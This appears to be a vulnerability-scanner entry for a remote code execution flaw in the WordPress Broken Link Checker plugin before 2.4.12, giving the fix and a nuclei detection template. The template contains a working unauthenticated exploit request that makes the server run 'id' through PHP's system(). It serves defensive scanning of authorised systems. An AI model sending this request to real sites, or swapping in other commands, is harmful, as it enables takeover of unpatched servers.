WordPress Broken Link Checker < 2.4.12 - Remote Code Execution

criticalseverity

9CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables on the server when a classic (non-block) theme is active.

Impact

Unauthenticated attackers can execute arbitrary code, leading to full remote code execution with web server privileges.

Fix

Upgrade to version 2.4.12 or later.

How to confirm it

Send: GET /?_wp_sidebars_widgets[sidebar-1][]=x&wp_registered_widgets[x][callback]=array_filter&wp_registered_widgets[x][params][0]=system&wp_registered_sidebars[sid…
Positive when: contains(content_type, "text/html") and regex("uid=[0-9]+([(][^)]*[)])?[[:space:]]+gid=[0-9]+", body)

Run it with nuclei: nuclei -id CVE-2026-18937 -u <target>

The full check

id: CVE-2026-18937

info:
  name: WordPress Broken Link Checker < 2.4.12 - Remote Code Execution
  author: anirbala98
  severity: critical
  description: |
    The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables on the server when a classic (non-block) theme is active.
  impact: |
    Unauthenticated attackers can execute arbitrary code, leading to full remote code execution with web server privileges.
  remediation: |
    Upgrade to version 2.4.12 or later.
  reference:
    - https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18937
    - https://wordpress.org/plugins/broken-link-checker/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2026-18937
    epss-score: 0.01993
    epss-percentile: 0.80856
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: wpmu-dev
    product: broken-link-checker
    framework: wordpress
    fofa-query: body="/wp-content/plugins/broken-link-checker/"
  tags: cve,cve2026,wordpress,wp-plugin,rce,broken-link-checker,unauth

http:
  - raw:
      - |
        GET /?_wp_sidebars_widgets[sidebar-1][]=x&wp_registered_widgets[x][callback]=array_filter&wp_registered_widgets[x][params][0]=system&wp_registered_sidebars[sidebar-1][cmd]=id HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'regex("uid=[0-9]+([(][^)]*[)])?[[:space:]]+gid=[0-9]+", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from